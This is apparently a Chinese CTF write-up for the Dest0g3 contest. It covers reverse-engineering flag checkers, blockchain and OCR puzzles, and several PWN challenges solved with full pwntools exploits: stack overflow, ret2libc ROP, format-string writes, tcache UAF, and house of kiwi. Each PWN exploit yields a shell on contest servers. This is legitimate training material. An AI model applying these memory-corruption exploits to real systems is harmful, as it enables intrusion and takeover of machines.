*(_QWORD *)&enc[16] = 0xB9C017E2E30EF749LL;
*(_QWORD *)&enc[24] = 0x98410148A430392CLL;
*(_QWORD *)&enc[32] = 0xE80E7411E5B5A939LL;
*(_DWORD *)&enc[40] = 0xA58BFDAC;
enc[44] = 109;
fwrite("input: ", 1uLL, 7uLL, stdout);
fgets(str, 46, stdin);
if ( strlen(str) != 45 )
exit(0);
for ( i = 0; i <= 44; ++i )
{
v1 = 23 * str[i];
if ( ((unsigned int)((v1 + x[i]) >> 31) >> 24) + (_BYTE)v1 + x[i] - ((unsigned int)((v1 + x[i]) >> 31) >> 24) != enc[i] )
exit(0);
}
puts("good!");
return 0;
}

加密逻辑中 ((v1 + x[i]) >> 31) >> 24) 互减抵消,剩下 23 * str[i] + x[i] == enc[i],简单还原:

1
2
3
4
5
6
7
import gmpy2
enc = [151, 100, 72, 198, 28, 122, 142, 159, 70, 189, 96, 231, 130, 243, 238, 105, 73, 247, 14, 227, 226, 23, 192, 185, 44, 57, 48, 164, 72, 1, 65, 152, 57, 169, 181, 229, 17, 116, 14, 232, 172, 253, 139, 165, 109]
x = [123, 81, 243, 90, 204, 57, 249, 146, 28, 158, 88, 105, 157, 247, 253, 74, 62, 251, 29, 44, 77, 12, 112, 177, 59, 141, 37, 237, 145, 177, 115, 141, 130, 230, 231, 80, 32, 97, 98, 60, 0, 58, 166, 157, 50]
flag = [((enc[i]-x[i])*gmpy2.invert(23,256))%256 for i in range(len(enc))]
print(bytes(flag))

# b'Dest0g3{f982cd79-d7a3-0874-aa0b-a5b37e4445c8}'

EZMATH

ILSpy查看dll文件,主要逻辑代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
private static void <Main>$(string[] args)
{
Console.Write("Input your flag:");
string text = Console.ReadLine();
if (!FormatChecker(text))
{
err();
}
string s = text.Replace("-", string.Empty);
byte[] second = Checker.Encrypt2(Checker.Encrypt1(Encoding.ASCII.GetBytes(s)));
if (new byte[32]
{
218, 49, 230, 35, 65, 168, 134, 53, 233, 62,
212, 208, 127, 224, 63, 164, 36, 88, 65, 138,
118, 255, 107, 22, 16, 239, 61, 58, 130, 101,
227, 109
}.SequenceEqual(second))
{
Console.WriteLine("right!");
Console.WriteLine("Your flag is Dest0g3{" + text + "}");
}
else
{
err();
}
static void err()
{
Console.WriteLine("err!");
Environment.Exit(1);
}
static bool FormatChecker(string input)
{
Guid result;
return Guid.TryParse(input, out result);
}
}

public static byte[] Encrypt1(byte[] a)
{
List<byte> list = new List<byte>();
for (int i = 0; i < 8; i++)
{
uint value = (uint)((ulong)((long)utils.Unpack32(a[(4 * i)..(4 * (i + 1))]) * 83987L) % 4062393413uL);
list.AddRange(BitConverter.GetBytes(value));
}
return list.ToArray();
}

public static byte[] Encrypt2(byte[] a)
{
List<byte> list = new List<byte>();
for (int i = 0; i < 4; i++)
{
ulong num = utils.Unpack64(a[(8 * i)..(8 * (i + 1))]);
ulong value = num ^ (num >> 25);
list.AddRange(BitConverter.GetBytes(value));
}
return list.ToArray();
}

输入字符串先经 Encrypt1() 以32位形式4位一组做乘法取模运算,再经 Encrypt2() 以64位形式8位一组做xorshift运算,逐步还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *

c = [218, 49, 230, 35, 65, 168, 134, 53, 233, 62, 212, 208, 127, 224, 63, 164, 36, 88, 65, 138, 118, 255, 107, 22, 16, 239, 61, 58, 130, 101, 227, 109]

c1 = [bytes_to_long(bytes(c[8*i:8*(i+1)])[::-1]) for i in range(4)]

def invert_right(m,l):
length = 64
mx = (1 << 64) - 1
i,res = 0,0
while i * l < length:
mask = (mx << (length - l) & mx) >> i * l
tmp = m & mask
m = m ^ tmp >> l & mx
res += tmp
i += 1
return res

c2 = [invert_right(c1[i], 25) for i in range(4)]

c3 = []
for i in range(4):
c3 += list(long_to_bytes(c2[i]))[::-1]

c4 = [bytes_to_long(bytes(c3[4*i:4*(i+1)])[::-1]) for i in range(8)]

c4 = [(k*inverse(83987,4062393413))%4062393413 for k in c4]

c5 = []
for i in range(8):
c5 += list(long_to_bytes(c4[i]))[::-1]
print(bytes(c5))

# b'28956fc4c54045a8808d42a5fab4b5f8'

PWN

ez_aarch

主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
sub_8EC();
func();
return 0;
}
__int64 func()
{
puts("It's just a easy stack overflow.");
return fun2();
}
__int64 fun2()
{
char buf; // [xsp+10h] [xbp+10h] BYREF

puts("Please leave your name:");
read(0, &buf, 0x30uLL);
return puts("OK, you can exploit it now.");
}
__int64 backdoor()
{
puts("OK, you get it !");
return system("/bin/sh");
}

arm的aarch64架构,开了PIE,与后门地址比较发现只有后1个字节不同,把返回地址的尾1字节改为后门地址尾1字节,简单栈溢出:

1
2
3
4
5
6
7
8
from pwn import *

r = remote('node4.buuoj.cn', 26257)

r.recvline()
r.send('a'*(0x30-0x08) + '\x3c')

r.interactive()

ez_pwn

主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int hackme()
{
int v1[10]; // [esp+4h] [ebp-44h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-1Ch] BYREF
int v3; // [esp+30h] [ebp-18h] BYREF
unsigned int v4; // [esp+34h] [ebp-14h]
unsigned int i; // [esp+38h] [ebp-10h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = 0;
v4 = 0;
puts("input the length of array:");
__isoc99_scanf("%d", &v2);
if ( (int)abs32(v2) > 10 )
{
puts("array is too long!");
exit(0);
}
while ( 1 )
{
while ( 1 )
{
puts("\n\n----------------------------------------------------");
puts("choice:\n1.add num\n2.get sum\n3.get avg\n4.exit");
puts("----------------------------------------------------\n");
puts("input your choice:");
__isoc99_scanf("%d", &v3);
if ( v3 != 3 )
break;
if ( v4 )
printf("avg = %d\n", v6 / v4);
else
puts("no avg!\n");
}
if ( v3 > 3 )
break;
if ( v3 == 1 )
{
if ( v4 >= v2 )
{
puts("array is too long!");
exit(0);
}
puts("input num");
__isoc99_scanf("%d", &v1[v4++]);
}
else
{
if ( v3 != 2 )
break;
v6 = 0;
for ( i = 0; v4 > i; ++i )
v6 += v1[i];
printf("sum = %d\n", v6);
}
}
puts("exit!");
return 0;
}

开始的 scanf 处未检查输入,读入负数可致负溢出,再结合写入数据的第二个 scanf, 可以越栈一直写,最后利用ROP修改返回地址,第一次ROP求libc基地址,第二次ROP可getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

r = remote('node4.buuoj.cn', 28547)
elf = ELF('./ez_pwn')

def add(n):
r.sendlineafter('input your choice:', '1')
r.sendlineafter('input num', str(n))

puts_plt = elf.plt.puts
puts_got = elf.got.puts
hackme_addr = elf.sym.hackme

r.recvuntil('length of array:')
r.sendline('-2147483648')
for i in range(10):
add(1)
add(1000)
add(1)
add(17)

add(puts_plt)
add(hackme_addr)
add(puts_got)
r.sendlineafter('input your choice:', '4')
r.recvuntil('exit!\n')

puts_addr = u32(r.recv(4))
libc_base = puts_addr - 0x67560
system_addr = libc_base + 0x3cf10
binsh_addr = libc_base + 0x17b9db

r.recvuntil('length of array:')
r.sendline('-2147483648')
for i in range(10):
add(1)
add(1000)
add(1)
add(17)

add(signed(system_addr))
add(hackme_addr)
add(signed(binsh_addr))
r.sendlineafter('input your choice:', '4')

r.interactive()

dest_love

主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 i; // [rsp+0h] [rbp-10h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
for ( i = 0LL; i <= 5; ++i )
{
puts("What about your love to Dest0g3?");
read(0, format, 0x40uLL);
printf(format);
}
if ( dword_4010 == 1314520 )
{
puts("I can feel your love!");
system("/bin/sh");
}
else
{
puts("Your dont love Dest0g3 at all!");
}
return 0LL;
}

格式化字符串漏洞,需要改写值的串在bss段里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

r = remote('node4.buuoj.cn',29044)
e = ELF('./pwn')

r.sendafter(b'What about your love to Dest0g3?\n',b'aaa')
r.sendafter(b'What about your love to Dest0g3?\n',b'aaa')

r.sendafter(b'What about your love to Dest0g3?\n',b'%12$p%10$p')
base = int(r.recv(14),16) - 0x1185
stack = int(r.recv(14),16) - 0xd8
print(hex(stack))

r.sendafter(b'What about your love to Dest0g3?\n','%{}c%10$hn'.format(stack % 0x10000))

target = base + 0x4010
r.sendafter(b'What about your love to Dest0g3?\n','%{}c%39$hn'.format(target % 0x10000))

r.sendafter(b'What about your love to Dest0g3?\n','%1314520c%12$n')

r.interactive()

ezuaf

主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-114h]

sub_11C5(a1, a2, a3);
while ( 1 )
{
menu();
v3 = read_n();
switch ( v3 )
{
case 1:
add();
break;
case 2:
edit();
break;
case 3:
delete();
break;
case 4:
show();
break;
default:
puts("Invaild Choice!");
break;
}
}
}

void delete()
{
signed int v0; // [rsp+Ch] [rbp-4h]

puts("Please tell me the index: ");
v0 = read_n();
if ( *((_QWORD *)&unk_40C0 + v0) && (unsigned int)v0 <= 0xF )
free(*((void **)&unk_40C0 + v0));
else
puts("Invalid Index!");
}

高版本(2.33)的UAF漏洞利用,在tcache里写入__free_hook,再写入system。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

r = remote('node4.buuoj.cn',26427)
libc = ELF('./libc-2.33.so')

def add(size,content):
r.sendlineafter('4. show\n: ','1')
r.sendlineafter('Please tell me its size: ',str(size))
r.sendafter('Content: ',content)

def edit(idx,content):
r.sendlineafter('4. show\n: ','2')
r.sendlineafter('Please tell me the index: ',str(idx))
r.sendafter('Please tell me its content: ',content)

def delete(idx):
r.sendlineafter('4. show\n: ','3')
r.sendlineafter('Please tell me the index: ',str(idx))

def show(idx):
r.sendlineafter('4. show\n: ','4')
r.sendlineafter('Please tell me the index: \n',str(idx))

add(0x7f,'a')
add(0x40,'a')
add(0x40,'a')
add(0x50,'/bin/sh')

for i in range(7):
delete(0)
edit(0,p64(0)*2+'\n')

delete(0)
show(0)
libc_base = u64(r.recv(6).ljust(8,'\x00'))-0x1e0c00
#print(hex(libc_base))

delete(2)
show(2)
heap_addr1 = ((u64(r.recv(8)) << 12) % (2**64)) + 0x380
#print(hex(heap_addr1))

delete(1)
show(1)
free_hook = libc_base + libc.sym.__free_hook
#print(hex(free_hook))
heap_addr2 = (((u64(r.recv(8)) ^ heap_addr1) << 12) % (2**64)) + 0x330
#print(hex(heap_addr2))

next = ((heap_addr2 >> 12) % (2**64)) ^ free_hook
edit(1,p64(next)+'\n')
add(0x40,'a')
system_addr = libc_base + libc.sym.system
#print(hex(system_addr))
add(0x40,p64(system_addr))
delete(3)

r.interactive()

emma

主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
int v3; // eax

init_0();
while ( 1 )
{
while ( 1 )
{
menu();
read_n();
if ( v3 != 4 )
break;
delete(a1, a2);
}
if ( v3 > 4 )
{
LABEL_12:
a1 = "Invaild Choice!";
puts("Invaild Choice!");
}
else
{
switch ( v3 )
{
case 3:
show(a1, a2);
break;
case 1:
add(a1, a2);
break;
case 2:
edit(a1, a2);
break;
default:
goto LABEL_12;
}
}
}
}

void add()
{
int v0; // eax
int v1; // eax
int v2; // [rsp+0h] [rbp-10h]
int v3; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]

puts("Index: ");
read_n();
v2 = v0;
puts("Size: ");
read_n();
v3 = v1;
if ( v1 > 1047 && v1 <= 4096 )
{
buf = malloc(v1);
puts("Content");
read(0, buf, v3);
qword_4060[v2] = buf;
dword_40E0[v2] = v3;
}
}

ssize_t edit()
{
int v0; // eax
ssize_t result; // rax
int v2; // [rsp+Ch] [rbp-4h]

puts("Index: ");
read_n();
v2 = v0;
result = qword_4060[v0];
if ( result )
{
puts("Content");
return read(0, (void *)qword_4060[v2], (int)dword_40E0[v2]);
}
return result;
}

int show()
{
int v0; // eax
__int64 v1; // rax
int v3; // [rsp+Ch] [rbp-4h]

puts("Index: ");
read_n();
v3 = v0;
v1 = qword_4060[v0];
if ( v1 )
LODWORD(v1) = puts((const char *)qword_4060[v3]);
return v1;
}

void delete()
{
int v0; // eax

puts("Index: ");
read_n();
if ( *((_QWORD *)&qword_4060 + v0) )
free(*((void **)&qword_4060 + v0));
}

同样是高版本(2.33)的UAF,最小申请0x417大小的chunk;

先用负idx修改stderr指针,再利用LargeBin Attack修改__pointer_chk_guard,伪造stderr修改vtable,最后改topchunk触发house of kiwi。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
context(os='linux',arch='amd64')
context.log_level = 'debug'

r = remote('node4.buuoj.cn','25443')
elf = ELF('./pwn')
libc = ELF('libc-2.33.so')

def add(idx,size,data):
r.sendlineafter('>>','1')
r.sendlineafter('Index:',str(idx))
r.sendlineafter('Size:',str(size))
r.sendlineafter('Content',data)

def edit(idx,data):
r.sendlineafter('>>','2')
r.sendlineafter('Index:',str(idx))
r.sendafter('Content',data)

def show(idx):
r.sendlineafter('>>','3')
r.sendlineafter('Index:',str(idx))

def delete(idx):
r.sendlineafter('>>','4')
r.sendlineafter('Index:',str(idx))

def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)

add(0,0x460,'a'*0x40 + p64(0)*4 + 'cat flag')
add(1,0x420,'b'*0x40)
add(2,0x440,'c'*0x40)
add(3,0x420,'d'*0x40)

delete(0)
edit(0,'\x01')
show(0)
libc_base = (u64(r.recvuntil('\x7f').ljust(8,'\x00')) >> 16) - libc.sym.__malloc_hook - 0x71
print(hex(libc_base))

edit(0,'\x00')
add(4,0x470,'e'*0x40)
delete(2)
edit(0,'a'*0x10)
show(0)
r.recvuntil('a'*0x10)
heap_addr = u64(r.recv(6).ljust(8,'\x00'))
print(hex(heap_addr))

heap_base = heap_addr - 0x290
global_max_fast = libc_base + 0x1e3e78
stderr_chain = libc_base + 0x1e1648
__pointer_chk_guard = libc_base + 0x1ed5b0
print(hex(__pointer_chk_guard))

edit(0,p64(libc_base+0x1e1000)*2 + p64(heap_addr) + p64(__pointer_chk_guard-0x20) + '\n')
add(5,0x480,'f'*0x40)

target = libc_base + libc.sym.system
io_cookie_jumps = libc_base + 0x1e1a20

fake_IO_FILE = p64(0x00000000fbad2087)+3 * p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0xffffffffffffffff)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)*4
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)*3
fake_IO_FILE += p64(libc_base + 0x1e3660)
fake_IO_FILE += p64(0)*7
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(io_cookie_jumps + 0x40)
fake_IO_FILE += p64(heap_base + 0x300)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(target ^ (heap_base+0xb30),0x11))

add(-4,0x500,fake_IO_FILE)
add(6,0x700,'6'*0x40)
delete(6)
add(7,0x500,'7'*0x40)
edit(6,'a'*0x508+p64(0x300))
add(8,0xff0,'8'*0x40)

r.interactive()

BLOCKCHAIN

Where the flag?

1
2
3
4
5
6
7
8
9
contract find{
uint96 private a=7855;
address private owner=msg.sender;
bool private f=false;
bool private t=true;
string[] private flag=[flag1,flag2];
}

//https://ropsten.etherscan.io/address/0x78f2b5695e5e6e51fc0fd6d7e0caaa05190af9cc

应该是非预期,访问url进入合约,在交易0x2a00af3b2a2a939c491359e7960cbcbda6bdb4d45294fbb8d857100cbfb700e1的InputData里,可以查看到Hex数据,转字符串可得到flag两截字符串:Dest0g3{0n1y_u5e_priv4t3_i5_n0t_s4f3_1n_B1okCh4in!}

Easy predict

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
contract storageplace{
mapping(uint=>string)private _flag;
address owner;
constructor()public{
owner=msg.sender;
}
function flag() public view returns(string memory)
{
require(msg.sender==owner);
}
function buy(uint number) public returns(bytes1){
require(msg.sender==owner);
}
}

contract question{

mapping(address=>bool)public regeister;

mapping(address=>uint)private seed;

uint constant Price_Per_Char=10 ether;

address owner;

storageplace immutable Flag;

constructor() public {
owner=msg.sender;

storageplace _Flag = new storageplace();

Flag = _Flag;
}

modifier isowner(){
require(msg.sender==owner,"I think you are not the rignt person");
_;
}

function addRight(address tar)public isowner{
regeister[tar]=true;
}

function removeRight(address tar)public isowner{
regeister[tar]=false;
}

function regeist() public {
require(regeister[msg.sender]==false);
regeister[msg.sender]=true;
seed[msg.sender]=block.number+1;
}

function buyflag(uint want) public payable returns(bytes1){
require(msg.value==Price_Per_Char,"is not free");
return Flag.buy(want);
}

function query(bytes32 answer) public view returns(string memory)
{
require(regeister[msg.sender]);
require(block.number >seed[msg.sender],"too early");
bytes32 result = blockhash(seed[msg.sender]);
require(answer==result,"wrong answer");
return Flag.flag();
}

function withdraw() public payable{
require(msg.sender==owner);
msg.sender.transfer(address(this).balance);
}

}

https://ropsten.etherscan.io/tx/0xd994796e78b5f5ff0d0f0738c29dbce8db0e8b32132cd0e6a10b24fa79b48925

也是非预期,访问url进入交易0xd994796e78b5f5ff0d0f0738c29dbce8db0e8b32132cd0e6a10b24fa79b48925,在InputData里,可以查看到Hex数据,转字符串可得到flag五截字符串:Dest0g3{t_sup3r_e3hi5_1s_4ea5y_p_r1ght?},按英文字面意思拼接,得:Dest0g3{thi5_1s_4_sup3r_e3ea5y_pe1d1ct_r1ght?}

AI

OCR

OCR is very useful in ctf!

更像Misc的AI题,png图片扭曲,应该宽度不对,CRC值爆破宽高:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import binascii
import struct
import sys

fr = open('flag_pic.png','rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])

n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print(width,height)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open('flag2.png','wb')
fw.write(newpic)
fw.close
sys.exit()

得到正常图片:

flag2

找个在线OCR识别图里字符,得到的结果有部分字符不正确,手动修正,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
377ABCAF271C000451FCF397500200000000000062000000000000001D9C97C8E004D002485D0022
194A676D2FDE351A055c168F9710364AE2D581126E378F3B4c47E15E2E80B74234B849430A221F40
C086E06B24ADAAC47F32CB62CADD154B50723E65E50CDF99CC2B953916AD2204D70C15FB493BD4C2
E1F93902FB3563190ACEE58CC01621BB2AAAB6EED8CE892FEF5F0927E2C4BCD7C188277D09D03579
95A2FB65D31CD99c853D7BAF52EAD8555920D1672B4A3B713917E98FB324AD225A3FA2AFAC1435FF
E31ED0C0CEF0CA0B68C0CCCA81C458680D7C75139429D282984933F7ACFDFB127321D9F4EFC0FEAA
E92F985D3C457E90AFBC4DA9D11B23E507A0953036A2EC1D75D69CD1F6A9F0790B1AB02D6C2AFFDF
66A2E7E56A1070FBCD316813E12DF9E26FC4813D419792A65960D4D97EDFA7A978A0385C04CF36EF
DE3B07DF9B9405253EAA838149910F2571FAA4A8E085D1567C5C17C9B3400F91FBFE6B47E052BA07
097C9D77803D3A45E3477FE324603179C7CA6A128CDC0F7E834812618AD4C79934226637E9300C55
95E355139A2ECF661A5F63750A6A0035ACF52417AF3A1C1FEA14471D074c27F81c719D98717F4ECD
32918BD15C18AB93769E94DDEFD3B6FAF4DDD6628BA44BDEF574FCCD5589334EA8063D7B27A2F060
0FC864D010A7F0CEC9B9395434878D01943887194342F9D34FC8F12DD4556ED5A5A36667F9319A03
95DB9A445B94C44771B406F962B1CFC8535BA0D3EE3DDDEB876C95092AAB192B168A732F3A7B9E81
56c403c583983F5527A0D6c5D6928481D56955474046D9FC17A2DE21F3D6FC4c69644E7c6A141BE9
48A417A33D62C6FF6DFAC702A0FC101748D9A9C64A6A0000010406000109825000070B0100012121
01000C84D100080A0196EAFE6000000501190A000000000000000000001119004400650073007400
3000670033002E00740078007400000019020000140A0100B547E05F6654D8011506010020000000
000000

以Hex保存为7z压缩包文件,解压得到 RGVzdDBnM3szNDUxMjA5OC0zMzA5LTc3MTItODg2NS03ODM0NjAyMjE2NDd9,base64解码即flag:Dest0g3{34512098-3309-7712-8865-783460221647}